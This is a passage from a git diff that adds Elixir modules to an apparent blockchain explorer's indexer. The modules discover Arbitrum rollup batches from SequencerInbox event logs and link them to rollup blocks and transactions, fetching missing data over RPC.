to be negative + case DbSettlement.get_batch_by_number(batch_number) do + nil -> + {nil, nil} + + %Arbitrum.L1Batch{start_block: start_block, end_block: end_block} -> + {end_block + 1, half_of_block_range(start_block, end_block, :ascending)} + end + end + + # Calculates half the range between two block numbers, with direction adjustment. + # + # ## Parameters + # - `start_block`: The starting block number. + # - `end_block`: The ending block number. + # - `direction`: The direction of calculation, either `:ascending` or `:descending`. + # + # ## Returns + # - An integer representing half the block range, adjusted for direction: + # - For `:descending`, a positive integer >= 1. + # - For `:ascending`, a negative integer <= -1. + @spec half_of_block_range(non_neg_integer(), non_neg_integer(), :ascending | :descending) :: integer() + defp half_of_block_range(start_block, end_block, direction) do + case direction do + :descending -> max(div(end_block - start_block + 1, 2), 1) + :ascending -> min(div(start_block - end_block - 1, 2), -1) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/events.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/events.ex new file mode 100644 index 000000000000..ecd62667fe55 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/events.ex @@ -0,0 +1,47 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Batches.Events do + @moduledoc """ + Provides functionality for retrieving Arbitrum `SequencerBatchDelivered` event logs. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_debug: 1] + + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + alias Indexer.Helper, as: IndexerHelper + + require Logger + + @doc """ + Fetches `SequencerBatchDelivered` event logs from the `SequencerInbox` contract within a block range. + + Filters transaction logs by the event signature and contract address, retrieving only + events emitted by the `SequencerInbox` contract between the specified block numbers. + + ## Parameters + - `start_block`: Starting block number of the search range (inclusive) + - `end_block`: Ending block number of the search range (inclusive) + - `sequencer_inbox_address`: Address of the `SequencerInbox` contract + - `json_rpc_named_arguments`: Configuration for JSON-RPC connection + + ## Returns + - List of event log entries matching the `SequencerBatchDelivered` signature + """ + @spec get_logs_for_batches(non_neg_integer(), non_neg_integer(), binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: + [%{String.t() => any()}] + def get_logs_for_batches(start_block, end_block, sequencer_inbox_address, json_rpc_named_arguments) + when start_block <= end_block do + {:ok, logs} = + IndexerHelper.get_logs( + start_block, + end_block, + sequencer_inbox_address, + [ArbitrumEvents.sequencer_batch_delivered()], + json_rpc_named_arguments + ) + + if length(logs) > 0 do + log_debug("Found #{length(logs)} SequencerBatchDelivered logs") + end + + logs + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/rollup_entities.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/rollup_entities.ex new file mode 100644 index 000000000000..a64358af1c4d --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/rollup_entities.ex @@ -0,0 +1,387 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Batches.RollupEntities do + @moduledoc """ + The module associates rollup blocks and transactions with their corresponding batches in the Arbitrum blockchain. + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1, log_debug: 1] + + alias EthereumJSONRPC.Block.ByNumber, as: BlockByNumber + + alias Explorer.Chain.Arbitrum + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Common, as: DbCommon + alias Indexer.Fetcher.Arbitrum.Utils.{Logging, Rpc} + + require Logger + + @doc """ + Retrieves and associates rollup blocks and transactions for a list of batches. + + Extracts rollup block ranges from batch data and fetches the corresponding blocks + and transactions from the database. If any required data is missing, it attempts + to recover it through RPC calls. + + ## Parameters + - `batches`: Map where keys are batch numbers and values are maps containing: + - `:number`: Batch number + - `:start_block`: Starting rollup block number + - `:end_block`: Ending rollup block number + - `rollup_rpc_config`: Configuration map containing: + - `:json_rpc_named_arguments`: Arguments for JSON RPC calls + - `:chunk_size`: Size of chunks for batch processing + + ## Returns + - Tuple containing: + - Map of rollup blocks ready for database import, keyed by block number + - List of rollup transactions ready for database import + """ + @spec associate_rollup_blocks_and_transactions( + %{ + non_neg_integer() => %{ + :number => non_neg_integer(), + :start_block => non_neg_integer(), + :end_block => non_neg_integer(), + optional(any()) => any() + } + }, + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: + {%{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, [Arbitrum.BatchTransaction.to_import()]} + def associate_rollup_blocks_and_transactions( + batches, + rollup_rpc_config + ) do + blocks_to_batches = unwrap_rollup_block_ranges(batches) + + required_blocks_numbers = Map.keys(blocks_to_batches) + + if required_blocks_numbers == [] do + {%{}, []} + else + log_debug("Identified #{length(required_blocks_numbers)} rollup blocks") + + {blocks_to_import_map, transactions_to_import_list} = + get_rollup_blocks_and_transactions_from_db(required_blocks_numbers, blocks_to_batches) + + # While it's not entirely aligned with data integrity principles to recover + # rollup blocks and transactions from RPC that are not yet indexed, it's + # a practical compromise to facilitate the progress of batch discovery. Given + # the potential high frequency of new batch appearances and the substantial + # volume of blocks and transactions, prioritizing discovery process advancement + # is deemed reasonable. + {blocks_to_import, transactions_to_import} = + recover_data_if_necessary( + blocks_to_import_map, + transactions_to_import_list, + required_blocks_numbers, + blocks_to_batches, + rollup_rpc_config + ) + + log_info( + "Found #{length(Map.keys(blocks_to_import))} rollup blocks and #{length(transactions_to_import)} rollup transactions in DB" + ) + + {blocks_to_import, transactions_to_import} + end + end + + # Unwraps rollup block ranges from batch data to create a block-to-batch number map. + # + # ## Parameters + # - `batches`: A map where keys are batch identifiers and values are structs + # containing the start and end blocks of each batch. + # + # ## Returns + # - A map where each key is a rollup block number and its value is the + # corresponding batch number. + @spec unwrap_rollup_block_ranges(%{ + non_neg_integer() => %{ + :start_block => non_neg_integer(), + :end_block => non_neg_integer(), + :number => non_neg_integer(), + optional(any()) => any() + } + }) :: %{non_neg_integer() => non_neg_integer()} + defp unwrap_rollup_block_ranges(batches) do + batches + |> Map.values() + |> Enum.reduce(%{}, fn batch, b_2_b -> + batch.start_block..batch.end_block + |> Enum.reduce(b_2_b, fn block_number, b_2_b_inner -> + Map.put(b_2_b_inner, block_number, batch.number) + end) + end) + end + + # Retrieves rollup blocks and transactions from the database based on given block numbers. + # + # This function fetches rollup blocks from the database using provided block numbers. + # For each block, it constructs a map of rollup block details and a list of + # transactions, including the batch number from `blocks_to_batches` mapping, block + # hash, and transaction hash. + # + # ## Parameters + # - `rollup_blocks_numbers`: A list of rollup block numbers to retrieve from the + # database. + # - `blocks_to_batches`: A mapping from block numbers to batch numbers. + # + # ## Returns + # - A tuple containing: + # - A map of rollup blocks associated with the batch numbers, ready for + # database import. + # - A list of transactions, each associated with its respective rollup block + # and batch number, ready for database import. + @spec get_rollup_blocks_and_transactions_from_db( + [non_neg_integer()], + %{non_neg_integer() => non_neg_integer()} + ) :: {%{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, [Arbitrum.BatchTransaction.to_import()]} + defp get_rollup_blocks_and_transactions_from_db(rollup_blocks_numbers, blocks_to_batches) do + rollup_blocks_numbers + |> DbCommon.rollup_blocks() + |> Enum.reduce({%{}, []}, fn block, {blocks_map, transactions_list} -> + batch_num = blocks_to_batches[block.number] + + updated_transactions_list = + block.transactions + |> Enum.reduce(transactions_list, fn transaction, acc -> + [%{transaction_hash: transaction.hash.bytes, batch_number: batch_num} | acc] + end) + + updated_blocks_map = + blocks_map + |> Map.put(block.number, %{ + block_number: block.number, + batch_number: batch_num, + confirmation_id: nil + }) + + {updated_blocks_map, updated_transactions_list} + end) + end + + # Recovers missing rollup blocks and transactions from the RPC if not all required blocks are found in the current data. + # + # This function compares the required rollup block numbers with the ones already + # present in the current data. If some blocks are missing, it retrieves them from + # the RPC along with their transactions. The retrieved blocks and transactions + # are then merged with the current data to ensure a complete set for further + # processing. + # + # ## Parameters + # - `current_rollup_blocks`: The map of rollup blocks currently held. + # - `current_rollup_transactions`: The list of transactions currently held. + # - `required_blocks_numbers`: A list of block numbers that are required for + # processing. + # - `blocks_to_batches`: A map associating rollup block numbers with batch numbers. + # - `rollup_rpc_config`: Configuration for the RPC calls. + # + # ## Returns + # - A tuple containing the updated map of rollup blocks and the updated list of + # transactions, both are ready for database import. + @spec recover_data_if_necessary( + %{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, + [Arbitrum.BatchTransaction.to_import()], + [non_neg_integer()], + %{non_neg_integer() => non_neg_integer()}, + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: + {%{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, [Arbitrum.BatchTransaction.to_import()]} + defp recover_data_if_necessary( + current_rollup_blocks, + current_rollup_transactions, + required_blocks_numbers, + blocks_to_batches, + rollup_rpc_config + ) do + required_blocks_amount = length(required_blocks_numbers) + + found_blocks_numbers = Map.keys(current_rollup_blocks) + found_blocks_numbers_length = length(found_blocks_numbers) + + if found_blocks_numbers_length != required_blocks_amount do + log_info("Only #{found_blocks_numbers_length} of #{required_blocks_amount} rollup blocks found in DB") + + {recovered_blocks_map, recovered_transactions_list, _} = + recover_rollup_blocks_and_transactions_from_rpc( + required_blocks_numbers, + found_blocks_numbers, + blocks_to_batches, + rollup_rpc_config + ) + + {Map.merge(current_rollup_blocks, recovered_blocks_map), + current_rollup_transactions ++ recovered_transactions_list} + else + {current_rollup_blocks, current_rollup_transactions} + end + end + + # Recovers missing rollup blocks and their transactions from RPC based on required block numbers. + # + # This function identifies missing rollup blocks by comparing the required block + # numbers with those already found. It then fetches the missing blocks in chunks + # using JSON RPC calls, aggregating the results into a map of rollup blocks and + # a list of transactions. The data is processed to ensure each block and its + # transactions are correctly associated with their batch number. + # + # ## Parameters + # - `required_blocks_numbers`: A list of block numbers that are required to be + # fetched. + # - `found_blocks_numbers`: A list of block numbers that have already been + # fetched. + # - `blocks_to_batches`: A map linking block numbers to their respective batch + # numbers. + # - `rollup_rpc_config`: A map containing configuration parameters including + # JSON RPC arguments for rollup RPC and the chunk size + # for batch processing. + # + # ## Returns + # - A tuple containing: + # - A map of rollup blocks associated with the batch numbers, ready for + # database import. + # - A list of transactions, each associated with its respective rollup + # block and batch number, ready for database import. + # - The updated counter of processed chunks (usually ignored). + @spec recover_rollup_blocks_and_transactions_from_rpc( + [non_neg_integer()], + [non_neg_integer()], + %{non_neg_integer() => non_neg_integer()}, + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: + {%{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, [Arbitrum.BatchTransaction.to_import()], + non_neg_integer()} + defp recover_rollup_blocks_and_transactions_from_rpc( + required_blocks_numbers, + found_blocks_numbers, + blocks_to_batches, + %{ + json_rpc_named_arguments: rollup_json_rpc_named_arguments, + chunk_size: rollup_chunk_size + } = _rollup_rpc_config + ) do + missed_blocks = required_blocks_numbers -- found_blocks_numbers + missed_blocks_length = length(missed_blocks) + + missed_blocks + |> Enum.sort() + |> Enum.chunk_every(rollup_chunk_size) + |> Enum.reduce({%{}, [], 0}, fn chunk, {blocks_map, transactions_list, chunks_counter} -> + Logging.log_details_chunk_handling( + "Collecting rollup data", + {"block", "blocks"}, + chunk, + chunks_counter, + missed_blocks_length + ) + + requests = + chunk + |> Enum.reduce([], fn block_number, requests_list -> + [ + BlockByNumber.request( + %{ + id: blocks_to_batches[block_number], + number: block_number + }, + false + ) + | requests_list + ] + end) + + {blocks_map_updated, transactions_list_updated} = + requests + |> Rpc.make_chunked_request_keep_id(rollup_json_rpc_named_arguments, "eth_getBlockByNumber") + |> prepare_rollup_block_map_and_transactions_list(blocks_map, transactions_list) + + {blocks_map_updated, transactions_list_updated, chunks_counter + length(chunk)} + end) + end + + # Processes JSON responses to construct a mapping of rollup block information and a list of transactions. + # + # This function takes JSON RPC responses for rollup blocks and processes each + # response to create a mapping of rollup block details and a comprehensive list + # of transactions associated with these blocks. It ensures that each block and its + # corresponding transactions are correctly associated with their batch number. + # + # ## Parameters + # - `json_responses`: A list of JSON RPC responses containing rollup block data. + # - `rollup_blocks`: The initial map of rollup block information. + # - `rollup_transactions`: The initial list of rollup transactions. + # + # ## Returns + # - A tuple containing: + # - An updated map of rollup blocks associated with their batch numbers, ready + # for database import. + # - An updated list of transactions, each associated with its respective rollup + # block and batch number, ready for database import. + @spec prepare_rollup_block_map_and_transactions_list( + [%{id: non_neg_integer(), result: %{String.t() => any()}}], + %{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, + [Arbitrum.BatchTransaction.to_import()] + ) :: {%{non_neg_integer() => Arbitrum.BatchBlock.to_import()}, [Arbitrum.BatchTransaction.to_import()]} + defp prepare_rollup_block_map_and_transactions_list(json_responses, rollup_blocks, rollup_transactions) do + json_responses + |> Enum.reduce({rollup_blocks, rollup_transactions}, fn resp, {blocks_map, transactions_list} -> + batch_num = resp.id + blk_num = quantity_to_integer(resp.result["number"]) + + updated_blocks_map = + Map.put( + blocks_map, + blk_num, + %{block_number: blk_num, batch_number: batch_num, confirmation_id: nil} + ) + + updated_transactions_list = + case resp.result["transactions"] do + nil -> + transactions_list + + new_transactions -> + Enum.reduce(new_transactions, transactions_list, fn l2_transaction_hash, transactions_list -> + [%{transaction_hash: l2_transaction_hash, batch_number: batch_num} | transactions_list] + end) + end + + {updated_blocks_map, updated_transactions_list} + end) + end + + @doc """ + Aggregates rollup transactions to provide a count per batch number. + + ## Parameters + - `rollup_transactions`: List of rollup transaction maps, where each map contains + `:transaction_hash` and `:batch_number` keys + + ## Returns + - Map where keys are batch numbers and values are the count of transactions in + that batch + """ + @spec batches_to_rollup_transactions_amounts([Arbitrum.BatchTransaction.to_import()]) :: %{ + non_neg_integer() => non_neg_integer() + } + def batches_to_rollup_transactions_amounts(rollup_transactions) do + rollup_transactions + |> Enum.reduce(%{}, fn transaction, acc -> + Map.put(acc, transaction.batch_number, Map.get(acc, transaction.batch_number, 0) + 1) + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/tasks.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/tasks.ex new file mode 100644 index 000000000000..c8fc4824cb55 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/batches/tasks.ex @@ -0,0 +1,622 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Batches.Tasks do + @moduledoc """ + Manages the discovery and importation of new and historical batches of transactions for an Arbitrum rollup. + + This module orchestrates the discovery of batches of transactions processed + through the Arbitrum Sequencer. It distinguishes between new batches currently + being created and historical batches processed in the past but not yet imported + into the database. + + The module processes logs from the `SequencerBatchDelivered` events emitted by + the Arbitrum `SequencerInbox` contract to extract batch details. It maintains + linkages between batches and their corresponding rollup blocks and transactions. + For batches stored in Data Availability solutions like AnyTrust or Celestia, + it retrieves DA information to locate the batch data. The module also tracks + cross-chain messages initiated in rollup blocks associated with new batches, + updating their status to committed (`:sent`). + + For any blocks or transactions missing in the database, data is requested in + chunks from the rollup RPC endpoint by `eth_getBlockByNumber`. Additionally, + to complete batch details and lifecycle transactions, RPC calls to + `eth_getTransactionByHash` and `eth_getBlockByNumber` on L1 are made in chunks + for the necessary information not available in the logs. + """ + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Fetcher.Arbitrum.Workers.Batches.Discovery, as: BatchesDiscovery + + require Logger + + @type new_batches_data_map :: %{ + :start_block => non_neg_integer() + } + + @type historical_batches_data_map :: %{ + :end_block => non_neg_integer(), + optional(:lowest_l1_block_for_commitments) => non_neg_integer() + } + + @type missing_batches_data_map :: %{ + :end_batch => non_neg_integer() + } + + @typep batches_related_state :: %{ + :config => %{ + :l1_rpc => %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :logs_block_range => non_neg_integer(), + optional(any()) => any() + }, + :l1_sequencer_inbox_address => binary(), + :lowest_batch => non_neg_integer(), + :messages_to_blocks_shift => non_neg_integer(), + :missing_batches_range => non_neg_integer(), + :new_batches_limit => non_neg_integer(), + :l1_rollup_init_block => non_neg_integer(), + :rollup_first_block => non_neg_integer(), + :rollup_rpc => %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + }, + :node_interface_address => binary(), + optional(any()) => any() + }, + :task_data => %{ + :new_batches => new_batches_data_map(), + :historical_batches => historical_batches_data_map(), + :missing_batches => missing_batches_data_map(), + optional(any()) => any() + }, + optional(any()) => any() + } + + @doc """ + Determines whether missing batches discovery should be run based on configuration. + + ## Parameters + - A map containing configuration with lowest batch information. + + ## Returns + - `true` if lowest batch is not nil in the configuration + - `false` otherwise + """ + @spec run_missing_batches_discovery?(batches_related_state()) :: boolean() + def run_missing_batches_discovery?(%{config: %{lowest_batch: lowest_batch}}) do + not is_nil(lowest_batch) + end + + @doc """ + Discovers and imports new batches of rollup transactions within the current L1 block range. + + This function determines the L1 block range for discovering new batches of rollup + transactions. It retrieves logs representing SequencerBatchDelivered events + emitted by the SequencerInbox contract within this range. The logs are processed + to identify new batches and their corresponding details. Comprehensive data + structures for these batches, along with their lifecycle transactions, rollup + blocks, and rollup transactions, are constructed. In addition, the function + updates the status of L2-to-L1 messages that have been committed within these new + batches. All discovered and processed data are then imported into the database. + The process targets only the batches that have not been previously processed, + thereby enhancing efficiency. + + ## Parameters + - `state`: A map containing: + - `config`: Configuration map containing RPC settings, contract addresses, + batch limits and other parameters + - `task_data`: Task-related data including: + - `new_batches`: Contains the `start_block` number for new batch discovery + - `historical_batches`: Contains data about historical batches processing + + ## Returns + - `{:ok, updated_state}`: Where `updated_state` includes an updated `start_block` value + for the next iteration. If blocks were processed successfully, `start_block` is set to + one after the last processed block. If no new blocks were found on L1, the state + remains unchanged. + """ + @spec check_new(batches_related_state()) :: {:ok, batches_related_state()} + def check_new( + %{ + config: %{ + l1_rpc: l1_rpc_config, + rollup_rpc: rollup_rpc_config, + l1_sequencer_inbox_address: sequencer_inbox_address, + messages_to_blocks_shift: messages_to_blocks_shift, + new_batches_limit: new_batches_limit, + node_interface_address: node_interface_address + }, + task_data: %{ + new_batches: %{ + start_block: start_block + }, + historical_batches: %{ + end_block: historical_batches_end_block + } + } + } = state + ) do + # Requesting the "latest" block instead of "safe" allows to catch new batches + # without latency. + + # It is necessary to re-visit some amount of the previous blocks to ensure that + # no batches are missed due to reorgs. The amount of blocks to re-visit depends + # on the current safe block or the block which is considered as safest in case + # of L3 (where the safe block could be too far behind the latest block) or if + # RPC does not support "safe" block. + {safe_block, latest_block} = + Rpc.get_safe_and_latest_l1_blocks(l1_rpc_config.json_rpc_named_arguments, l1_rpc_config.logs_block_range) + + # At the same time it does not make sense to re-visit blocks that will be + # re-visited by the historical batches discovery process. + # If the new batches discovery process does not reach the chain head previously + # no need to re-visit the blocks. + safe_start_block = max(min(start_block, safe_block), historical_batches_end_block + 1) + + end_block = min(start_block + l1_rpc_config.logs_block_range - 1, latest_block) + + if safe_start_block <= end_block do + log_info("Block range for new batches discovery: #{safe_start_block}..#{end_block}") + + # Since with taking the safe block into account, the range safe_start_block..end_block + # could be larger than L1 RPC max block range for getting logs, it is necessary to + # divide the range into the chunks + ArbitrumHelper.execute_for_block_range_in_chunks( + safe_start_block, + end_block, + l1_rpc_config.logs_block_range, + fn chunk_start, chunk_end -> + discover_new( + sequencer_inbox_address, + chunk_start, + chunk_end, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) + end + ) + + # The next iteration will consider the block range which starts from the block + # after the last processed block + {:ok, ArbitrumHelper.update_fetcher_task_data(state, :new_batches, %{start_block: end_block + 1})} + else + # No new blocks on L1 produced from the last iteration of the new batches discovery + {:ok, state} + end + end + + @doc """ + Discovers and imports historical batches of rollup transactions within a specified block range. + + This function determines the L1 block range for discovering historical batches + of rollup transactions. Within this range, it retrieves logs representing the + SequencerBatchDelivered events emitted by the SequencerInbox contract. These + logs are processed to identify the batches and their details. The function then + constructs comprehensive data structures for batches, lifecycle transactions, + rollup blocks, and rollup transactions. Additionally, it identifies L2-to-L1 + messages that have been committed within these batches and updates their status. + All discovered and processed data are then imported into the database, with the + process targeting only previously undiscovered batches to enhance efficiency. + + ## Parameters + - `state`: A map containing: + - `config`: Configuration map containing RPC settings, contract addresses, + batch limits and other parameters + - `task_data`: Task-related data including: + - `historical_batches`: Contains the `end_block` number for historical + batch discovery in the current iteration + + ## Returns + - `{:ok, updated_state}`: Where `updated_state` includes an updated `end_block` value + for the next iteration. If the current range of blocks was processed successfully, + `end_block` is set to one before the starting block of the current range. If the + process has reached the lowest L1 block that needs to be checked, `end_block` is + set to one before that lowest block. + """ + @spec check_historical(batches_related_state()) :: {:ok, batches_related_state()} + def check_historical( + %{ + config: %{ + l1_rpc: l1_rpc_config, + rollup_rpc: rollup_rpc_config, + l1_sequencer_inbox_address: sequencer_inbox_address, + messages_to_blocks_shift: messages_to_blocks_shift, + new_batches_limit: new_batches_limit, + node_interface_address: node_interface_address + }, + task_data: %{historical_batches: %{end_block: end_block}} + } = state + ) do + {lowest_l1_block, new_state} = get_lowest_l1_block_for_commitments(state) + + data_for_next_iteration = + if end_block >= lowest_l1_block do + start_block = max(lowest_l1_block, end_block - l1_rpc_config.logs_block_range + 1) + + log_info("Block range for historical batches discovery: #{start_block}..#{end_block}") + + discover_historical( + sequencer_inbox_address, + start_block, + end_block, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) + + # The next iteration will consider the block range which ends by the block + # before the last processed block + %{end_block: start_block - 1} + else + # The historical discovery process has reached the lowest L1 block that + # needs to be checked for batches + %{end_block: lowest_l1_block - 1} + end + + {:ok, ArbitrumHelper.update_fetcher_task_data(new_state, :historical_batches, data_for_next_iteration)} + end + + @doc """ + Determines whether the historical batches discovery process has completed. + + This function checks if the end block for historical batches discovery is lower than + the lowest L1 block containing batch commitments. When this condition is met, it means + all historical batches up to the rollup initialization block have been discovered. + + ## Parameters + - A map containing: + - `task_data`: Contains the end block for historical batches discovery + + ## Returns + - `true` if historical batches discovery has completed (end_block < lowest_l1_block) + - `false` otherwise + """ + @spec historical_batches_discovery_completed?(batches_related_state()) :: boolean() + def historical_batches_discovery_completed?( + %{ + task_data: %{historical_batches: %{end_block: end_block}} + } = state + ) do + {lowest_l1_block, _} = get_lowest_l1_block_for_commitments(state) + + end_block < lowest_l1_block + end + + @doc """ + Inspects and imports missing batches within a specified range of batch numbers. + + This function first finds the missing batches, then determines their + neighboring ranges, maps these ranges to the corresponding L1 block numbers, + and for every such range it retrieves logs representing the + SequencerBatchDelivered events emitted by the SequencerInbox contract. + These logs are processed to identify the batches and their details. The + function then constructs comprehensive data structures for batches, + lifecycle transactions, rollup blocks, and rollup transactions. Additionally, + it identifies L2-to-L1 messages that have been committed within these batches + and updates their status. All discovered and processed data are then imported + into the database. + + ## Parameters + - `state`: A map containing: + - `config`: Configuration map containing RPC settings, contract addresses, + batch limits and other parameters + - `task_data`: Task-related data including: + - `missing_batches`: Contains the `end_batch` number for the missing batches + inspection in the current iteration. + + ## Returns + - `{:ok, updated_state}`: Where `updated_state` includes an updated `end_batch` value + for the next iteration. If the current range of batches was handled successfully, + `end_batch` is set to one before the starting batch of the current range. If the + process has reached the lowest batch boundary, `end_batch` is set to one before + the lowest batch. + """ + @spec inspect_for_missing(batches_related_state()) :: {:ok, batches_related_state()} + def inspect_for_missing( + %{ + config: %{ + l1_rpc: l1_rpc_config, + rollup_rpc: rollup_rpc_config, + l1_sequencer_inbox_address: sequencer_inbox_address, + messages_to_blocks_shift: messages_to_blocks_shift, + new_batches_limit: new_batches_limit, + missing_batches_range: missing_batches_range, + lowest_batch: lowest_batch, + node_interface_address: node_interface_address + }, + task_data: %{missing_batches: %{end_batch: end_batch}} + } = state + ) + when not is_nil(lowest_batch) and not is_nil(end_batch) do + # No need to inspect for missing batches below the lowest batch + # since it is assumed that they are picked up by historical batches + # discovery process + if end_batch > lowest_batch do + start_batch = max(lowest_batch, end_batch - missing_batches_range + 1) + + log_info("Batch range for missing batches inspection: #{start_batch}..#{end_batch}") + + {lowest_l1_block, new_state} = get_lowest_l1_block_for_commitments(state) + + l1_block_ranges_for_missing_batches = + DbSettlement.get_l1_block_ranges_for_missing_batches(start_batch, end_batch, lowest_l1_block - 1) + + unless l1_block_ranges_for_missing_batches == [] do + discover_missing( + sequencer_inbox_address, + l1_block_ranges_for_missing_batches, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) + end + + # The next iteration will consider the batch range which ends by the batch + # before the last processed batch + {:ok, ArbitrumHelper.update_fetcher_task_data(new_state, :missing_batches, %{end_batch: start_batch - 1})} + else + # The missing batches inspection process has reached the lowest batch boundary + {:ok, ArbitrumHelper.update_fetcher_task_data(state, :missing_batches, %{end_batch: lowest_batch - 1})} + end + end + + @doc """ + Determines whether the missing batches inspection process has completed. + + This function checks if the inspection process has reached or gone below the + lowest batch that needs to be inspected. The process is considered complete + when the lowest boundary of the range being inspected in the most recent + inspection iteration is less than or equal to the number of the lowest batch + known at the time of the batch fetcher start. + + ## Parameters + - A map containing: + - `config`: Configuration with the lowest batch number to inspect + - `task_data`: Contains the current end batch being processed + + ## Returns + - `true` if end_batch <= lowest_batch and both values are not nil + - `false` if either value is nil or end_batch > lowest_batch + """ + @spec missing_batches_inspection_completed?(batches_related_state()) :: boolean() + def missing_batches_inspection_completed?(%{ + config: %{ + lowest_batch: lowest_batch + }, + task_data: %{missing_batches: %{end_batch: end_batch}} + }) + when not is_nil(lowest_batch) and not is_nil(end_batch) do + end_batch <= lowest_batch + end + + def missing_batches_inspection_completed?(_), do: false + + # Initiates the discovery process for batches within a specified block range. + # + # Invokes the actual discovery process for new batches by calling + # `BatchesDiscovery.perform` with the provided parameters. + # + # ## Parameters + # - `sequencer_inbox_address`: The SequencerInbox contract address. + # - `start_block`: The starting block number for discovery. + # - `end_block`: The ending block number for discovery. + # - `new_batches_limit`: Limit of new batches to process in one iteration. + # - `messages_to_blocks_shift`: Shift value for message to block number mapping. + # - `l1_rpc_config`: Configuration for L1 RPC calls. + # - `node_interface_address`: The address of the NodeInterface contract on the rollup. + # - `rollup_rpc_config`: Configuration for rollup RPC calls. + # + # ## Returns + # - N/A + @spec discover_new( + binary(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + }, + binary(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: any() + defp discover_new( + sequencer_inbox_address, + start_block, + end_block, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) do + BatchesDiscovery.perform( + sequencer_inbox_address, + start_block, + end_block, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) + end + + # Initiates the historical discovery process for batches within a specified block range. + # + # Calls `BatchesDiscovery.perform` with parameters reversed for start and end + # blocks to process historical data. + # + # ## Parameters + # - `sequencer_inbox_address`: The SequencerInbox contract address. + # - `start_block`: The starting block number for discovery. + # - `end_block`: The ending block number for discovery. + # - `new_batches_limit`: Limit of new batches to process in one iteration. + # - `messages_to_blocks_shift`: Shift value for message to block number mapping. + # - `l1_rpc_config`: Configuration for L1 RPC calls. + # - `node_interface_address`: The address of the NodeInterface contract on the rollup. + # - `rollup_rpc_config`: Configuration for rollup RPC calls. + # + # ## Returns + # - N/A + @spec discover_historical( + binary(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + non_neg_integer(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + }, + binary(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: any() + defp discover_historical( + sequencer_inbox_address, + start_block, + end_block, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) do + BatchesDiscovery.perform( + sequencer_inbox_address, + end_block, + start_block, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) + end + + # Initiates the discovery process for missing batches within specified block ranges. + # + # This function divides each L1 block range into chunks to call `discover_historical` + # for every chunk to discover missing batches. + # + # ## Parameters + # - `sequencer_inbox_address`: The SequencerInbox contract address. + # - `l1_block_ranges`: The L1 block ranges to look for missing batches. + # - `new_batches_limit`: Limit of new batches to process in one iteration. + # - `messages_to_blocks_shift`: Shift value for message to block number mapping. + # - `l1_rpc_config`: Configuration for L1 RPC calls. + # - `node_interface_address`: The address of the NodeInterface contract on the rollup. + # - `rollup_rpc_config`: Configuration for rollup RPC calls. + # + # ## Returns + # - N/A + @spec discover_missing( + binary(), + [{non_neg_integer(), non_neg_integer()}], + non_neg_integer(), + non_neg_integer(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :logs_block_range => non_neg_integer(), + 